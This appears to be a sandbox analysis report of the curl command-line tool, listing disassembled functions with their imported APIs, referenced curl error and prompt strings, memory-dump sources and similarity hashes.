Opcode ID: efe82dbbecbc05a1f9b40317870d4b297e76abbdd0e3142d5352eb02e4f96fb2
Instruction ID: 77e1719fdf7b7ac8e32d3c1af66c4895463bb7d48650d58a9682a7f10d4cf5db
Opcode Fuzzy Hash: efe82dbbecbc05a1f9b40317870d4b297e76abbdd0e3142d5352eb02e4f96fb2
Instruction Fuzzy Hash: FF41CD31704B16AFEB18AF68EC44799BBE4FF09764F28012AE509D7391DBB06C40CB94

Function 00863460 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 141fileCOMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001), ref: 0086347F
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,008B6C58), ref: 0086348D
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 008635C2

Strings

%s, xrefs: 008634C2, 008635A4
Failed to open %s to write libcurl code!, xrefs: 008634A0
%s, xrefs: 008634DF, 008634EE, 00863520, 00863554, 00863584

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: __acrt_iob_funcfclosefopen
String ID: %s$%s$Failed to open %s to write libcurl code!
API String ID: 4110152555-3591596397
Opcode ID: 2a7a3647588cbbb9ca940156623bdd6147c9eb9b3fb35b92e07b29ed095ccfb4
Instruction ID: 67e799960762f1bb5f46139203c7625889c9dffd2dc427beb5a521196ceec53d
Opcode Fuzzy Hash: 2a7a3647588cbbb9ca940156623bdd6147c9eb9b3fb35b92e07b29ed095ccfb4
Instruction Fuzzy Hash: 95413B71508701ABD7129B1CAC06F56B76AFFA2324F260015F919E7341EB31FF11C6A9

Function 00867A54 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 132COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00867A80
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00867A9C

Strings

output file name has no length, xrefs: 00868209
o, xrefs: 00867B0E

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _strdupfree
String ID: o$output file name has no length
API String ID: 1865132094-237255669
Opcode ID: fa8d5b48a82b521302c7ef524f87d363db3e6459c039cdbb01d1a9550d50c66b
Instruction ID: cbe8a91d04f2f58f706351de99b9d354c8eec15d66ec25787276c211ab235273
Opcode Fuzzy Hash: fa8d5b48a82b521302c7ef524f87d363db3e6459c039cdbb01d1a9550d50c66b
Instruction Fuzzy Hash: D3418171608B42DFD325CF3898547A6B7E1FF45369F2A4A1EE5AAC7280DB30DC429781

Function 00875117 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 120stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00863857: __stdio_common_vsscanf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,000000FF,?,00000000,?), ref: 00863872

___from_strstr_to_strchr.LIBCMT ref: 00875198
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,0000000A,?,00000000,00000000,?,?,?,?,?,?,00875B5D,00000000), ref: 008751D4

Strings

[%*45[0123456789abcdefABCDEF:.]%c%n, xrefs: 00875136
%ld, xrefs: 008751F0
], xrefs: 00875172
%*[^]]%c%n, xrefs: 0087515F

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchr__stdio_common_vsscanfstrtol
String ID: %*[^]]%c%n$%ld$[%*45[0123456789abcdefABCDEF:.]%c%n$]
API String ID: 1045171823-394001614
Opcode ID: 45ae63b9d1175e7335f6a7c6e6c024a6889daebcf097062ac03f3dba6bd49fce
Instruction ID: 01ae19742dcde851b00de0580fedfbd5fd86364f95e935d3c8850f33bf899c25
Opcode Fuzzy Hash: 45ae63b9d1175e7335f6a7c6e6c024a6889daebcf097062ac03f3dba6bd49fce
Instruction Fuzzy Hash: 48316C31E046496FEB309B689C41BFE77ACFF01710F54816AE84DE7286D6B0ED4183A1

Function 0088AF15 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

fseek.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000,00000000), ref: 0088B02A

Strings

seek callback returned error %d, xrefs: 0088AFAE
Cannot rewind mime/post data, xrefs: 0088B048
necessary data rewind wasn't possible, xrefs: 0088B038
the ioctl callback returned %d, xrefs: 0088AFFA
ioctl callback returned error %d, xrefs: 0088B00D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: fseek
String ID: Cannot rewind mime/post data$ioctl callback returned error %d$necessary data rewind wasn't possible$seek callback returned error %d$the ioctl callback returned %d
API String ID: 623662203-539828175
Opcode ID: 74cf8a52100fec29ccaf6723d3e5bba7c6c45b7ef529d0fcd8a73ec430ae2a86
Instruction ID: fd2fc2e368008b4f9f3b1abf169a0e7c888fa79f757ed72b856316013a1bd405
Opcode Fuzzy Hash: 74cf8a52100fec29ccaf6723d3e5bba7c6c45b7ef529d0fcd8a73ec430ae2a86
Instruction Fuzzy Hash: EE310631700A02ABCA286B348CD5EBBBB65FF91368F084225F52DD7390CB61AC50D792

Function 0086D77A Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 103COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0086D7AC
___from_strstr_to_strchr.LIBCMT ref: 0086D7B7
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0086D8B0

Strings

Enter %s password for user '%s' on URL #%zu:, xrefs: 0086D85B
%s:%s, xrefs: 0086D897
Enter %s password for user '%s':, xrefs: 0086D836

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchr$free
String ID: %s:%s$Enter %s password for user '%s' on URL #%zu:$Enter %s password for user '%s':
API String ID: 3654317688-2337704101
Opcode ID: 7d13bd79fca58ba7ab12cf5ab7d3610e7a7959feb94a14aaf86c4b5712281bba
Instruction ID: 85e818535c4399005f1206b5fa6344d2520ece65507327cb089f46be68619aca
Opcode Fuzzy Hash: 7d13bd79fca58ba7ab12cf5ab7d3610e7a7959feb94a14aaf86c4b5712281bba
Instruction Fuzzy Hash: 5C31B171E0121AAEEB21DB64CC41BDABBB5FF18300F1044F5A448E7242DB71AA84CF51

Function 00869CAA Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 00869CB9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?), ref: 00869CCD
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00869D63
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00869D74

Strings

out of memory, xrefs: 00869CDC
Got more output options than URLs, xrefs: 00869D9F

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$_strdup
String ID: Got more output options than URLs$out of memory
API String ID: 2653869212-1666425204
Opcode ID: ff3c95167438439420e09fd1351cfeff6237fd42dd346bbc35dc49c5677b12be
Instruction ID: 7478c7b14f515144cd0a73d0d872cb469858bc64a85dd649aee533234882263d
Opcode Fuzzy Hash: ff3c95167438439420e09fd1351cfeff6237fd42dd346bbc35dc49c5677b12be
Instruction Fuzzy Hash: EC318B316042468FDF059F28D889BA87BB5FF40325F2940BAE845DF2D2DB74D884CB51

Function 00881AEE Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,754C1980,?,00881D52,?,?,?,?,00868B8E), ref: 00881AF5
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00881D52,?,?,?,?,00868B8E), ref: 00881B03
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00881D52,?,?,?,?,00868B8E), ref: 00881B11

Part of subcall function 00887EC3: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00888849,00000000,?,?,?,00872373,?,?,?,?,008616C6,?,00200030), ref: 00887F33

Strings

<, xrefs: 00881BC2
`, xrefs: 00881CAA
v, xrefs: 00881CC0

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: __acrt_iob_func$free
String ID: <$`$v
API String ID: 1664282339-4007386528
Opcode ID: 5a3a7cd371e17ca8731b5e8f5b28bd7462cf830c8be07210207c54bfda1c4ef9
Instruction ID: 7751b26a8726ac6ed371d5062e36b871c22d14ee6f705d56f9565582cae7aaa7
Opcode Fuzzy Hash: 5a3a7cd371e17ca8731b5e8f5b28bd7462cf830c8be07210207c54bfda1c4ef9
Instruction Fuzzy Hash: 8451BEB09097808AEB55CF29D8C87C53BA0AF99704F1841BAED4C8F39BD7BA1144CF65

Function 00886806 Relevance: 10.6, APIs: 7, Instructions: 91fileCOMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00000000), ref: 0088681E
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,008B7A20,?,?,00000000), ref: 00886848
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088686D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00886887
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 0088688F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008868E3
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 008868E7

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$fclose$fopenmalloc
String ID:
API String ID: 2597608617-0
Opcode ID: 622f577c381882570566488aa679b3e3f7ec26c62fd16e93bb065736267d5c02
Instruction ID: bc2c6fa4e7ce8f3bc671a4811c7411e6e49ac586ed8d55baeac15a789bdbcbe4
Opcode Fuzzy Hash: 622f577c381882570566488aa679b3e3f7ec26c62fd16e93bb065736267d5c02
Instruction Fuzzy Hash: 79212B32604A168FEB152F24EC1477E3BE5FF4AB61B28403AE801D73A2EFB45C114790

Function 0086923B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 87COMMON

Download Yara Rule

APIs

_fstat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,?), ref: 00869282

Part of subcall function 0086F352: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?), ref: 0086F58A

_close.API-MS-WIN-CRT-STDIO-L1-1-0(000000FF), ref: 0086930A
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00869311
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 00869319

Part of subcall function 00870B16: _open.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000100,00000180,?,00862077,?,00008501,00000180), ref: 00870B2D

Strings

Can't open '%s'!, xrefs: 008692F1
CURLOPT_INFILESIZE_LARGE, xrefs: 008692BA

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: __acrt_iob_func_close_fileno_fstat64_openfree
String ID: CURLOPT_INFILESIZE_LARGE$Can't open '%s'!
API String ID: 440421868-219864042
Opcode ID: ea5f797bb5236a940dff2ba14ac607d1bf651e19daea989ece1038c0f7cb2e63
Instruction ID: da17638e1a60811b5f3bdbc127850acd14871642283aa899d1c068740d9d591e
Opcode Fuzzy Hash: ea5f797bb5236a940dff2ba14ac607d1bf651e19daea989ece1038c0f7cb2e63
Instruction Fuzzy Hash: D3210472600704AFDB249B68ED41AAAB7A8FF08320F10052DF4A6D27D1DB70EC018B11

Function 008B2537 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,?,?,?,008B25F8,?,?,008CF464,00000000,?,008B2723,00000004,InitializeCriticalSectionEx,008B627C,InitializeCriticalSectionEx,00000000), ref: 008B25C7

Strings

api-ms-, xrefs: 008B2587

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 4f2aa4a51d61f96732983d27519e232f3f6a0323335061b8a81b097539c37f42
Instruction ID: 2312a4f4686f2caffa904bf8ccd2aa22d13e33760e629eaa70976dc804f924b3
Opcode Fuzzy Hash: 4f2aa4a51d61f96732983d27519e232f3f6a0323335061b8a81b097539c37f42
Instruction Fuzzy Hash: 9C11A032A01A25ABDB725F6C9C55BD933A8FF017A0F640260F911EB380D770ED018AD1

Function 0086305C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SearchPathA.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-2-0(00000000,curl-ca-bundle.crt,00000000,00000104,?,?), ref: 008630AB
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 008630BD
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?), ref: 008630CA
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 008630DD
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 008630E9

Strings

curl-ca-bundle.crt, xrefs: 008630A5

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _strdupfree$PathSearch
String ID: curl-ca-bundle.crt
API String ID: 4109318298-694051528
Opcode ID: 8c93c652c524f02ca85b61deb74f56284874470c4dbe7bb219ba73940325c9a3
Instruction ID: 098fbee34e04c7e7ba7b26ad88ea06ae7f0d6829fb95ee564f3cbc13c734e1f1
Opcode Fuzzy Hash: 8c93c652c524f02ca85b61deb74f56284874470c4dbe7bb219ba73940325c9a3
Instruction Fuzzy Hash: 3D119171505B089FDB209F649C85BDAB7B8FF45715F00066EE981D7241DB7099488A11

Function 00868E58 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,0086900B), ref: 00868E64
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,0086900B), ref: 00868E7F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,error initializing curl library,?,0086900B), ref: 00868ECE

Strings

error retrieving curl library information, xrefs: 00868EB9
error initializing curl, xrefs: 00868ED9
error initializing curl library, xrefs: 00868EC0

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: __acrt_iob_funcfreemalloc
String ID: error initializing curl$error initializing curl library$error retrieving curl library information
API String ID: 2771806388-2118345949
Opcode ID: 0657b20637c7eb5f8114d4769ca8de18be76b70f6d06acd61c4f58c0fe56e907
Instruction ID: 6674aefabbe59f770f754728792933a97b121f9cb11245f08d336b0279eaadcc
Opcode Fuzzy Hash: 0657b20637c7eb5f8114d4769ca8de18be76b70f6d06acd61c4f58c0fe56e907
Instruction Fuzzy Hash: C001D671104B01DFD361AB18E80965B77F4FF45324B25462EE49AD6791DFB5E4008B22

Function 008815C6 Relevance: 10.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,754C3C50,00000000,008817E1,00868BF9), ref: 008815DF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008815FE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088161B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881638
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881655
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00881672
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088168F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008816AC

Part of subcall function 00875D80: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00875D9B

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 6a9d3de8e7fbc82ce538819bb21eb2aa2c72b7f507820f1c9047729013bfe0e4
Instruction ID: a7da1084d9b040c706b447cee546f723b09c985b12f0c214defd935e2028ff8e
Opcode Fuzzy Hash: 6a9d3de8e7fbc82ce538819bb21eb2aa2c72b7f507820f1c9047729013bfe0e4
Instruction Fuzzy Hash: 8C217832614A16EFE7085F34EC4999CFBA5FB49651F14832BD51993362CFB528209F90

Function 008AFB62 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 247COMMON

Download Yara Rule

APIs

Part of subcall function 008AADF2: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000,HTTP,?,?), ref: 008AAE0A
Part of subcall function 008AADF2: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AAE21
Part of subcall function 008AADF2: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 008AAE3D

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,0000000A,?,?,?,?,?,?,?,?,?,?,?,008AB2F1,?), ref: 008AFBFD
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,0000000A,?,?,?,?,?,?,?,?,?,?,?,008AB2F1,?), ref: 008AFC53
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,008AB2F1,?,?,?,00000000), ref: 008AFCA7

Strings

GSSAPI handshake failure (empty challenge message), xrefs: 008AFCC4
SSPI: couldn't get auth info, xrefs: 008AFBB9
Kerberos, xrefs: 008AFBA3, 008AFC72

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: callocfree$_strdupmalloc
String ID: GSSAPI handshake failure (empty challenge message)$Kerberos$SSPI: couldn't get auth info
API String ID: 3060414022-4232989830
Opcode ID: 63937e46310c4379249c83a1aee5cc1be0e11ff26c7317b2116edf50a50003e8
Instruction ID: 0d248ea3217501f5aaef096b44d521a845bdb41642e6e9ab8d9c0189dda82baa
Opcode Fuzzy Hash: 63937e46310c4379249c83a1aee5cc1be0e11ff26c7317b2116edf50a50003e8
Instruction Fuzzy Hash: 7F917271A00619AFEB14CF94D854BAEBBF5FF09320F14812AEA05D7691D774ED41CB90

Function 00884E84 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 215COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00884EE0

Strings

Could not resolve host: %s, xrefs: 0088504D
Failed to resolve host '%s' with timeout after %ld ms, xrefs: 00885016
Unix socket path too long: '%s', xrefs: 00884F20
Couldn't resolve proxy '%s', xrefs: 008850E9

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: calloc
String ID: Could not resolve host: %s$Couldn't resolve proxy '%s'$Failed to resolve host '%s' with timeout after %ld ms$Unix socket path too long: '%s'
API String ID: 2635317215-2215122109
Opcode ID: eb95ec1867a5a4271ac762f735e32716331e103e5b4729a557248d74bffc0bca
Instruction ID: 3ab78ace1228551fcd50a8bbd183174ee0e6bb76c5cca59ab555bdd81544fd8b
Opcode Fuzzy Hash: eb95ec1867a5a4271ac762f735e32716331e103e5b4729a557248d74bffc0bca
Instruction Fuzzy Hash: A371A331E04A59AFEF11AB68CC45BAE7BB1FF55710F1840B9ED04EB2D1D6B19C009B92

Function 0088BED0 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 212COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088BEFF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088BF35
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088C00C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088C161

Part of subcall function 0087A7F6: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00000000), ref: 0087A80D

Strings

No URL set, xrefs: 0088BF4E
User-Agent: %s, xrefs: 0088C172

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: No URL set$User-Agent: %s
API String ID: 1294909896-339178133
Opcode ID: 78cf07cc1dd7f834155200c0712ad6a20f2a1b63cc61df47babc60680d9acac8
Instruction ID: 52c7d9a77c435aa0373c7886c8c0bceb2bee9fc05fb407e2bdcd2456fdf89d6e
Opcode Fuzzy Hash: 78cf07cc1dd7f834155200c0712ad6a20f2a1b63cc61df47babc60680d9acac8
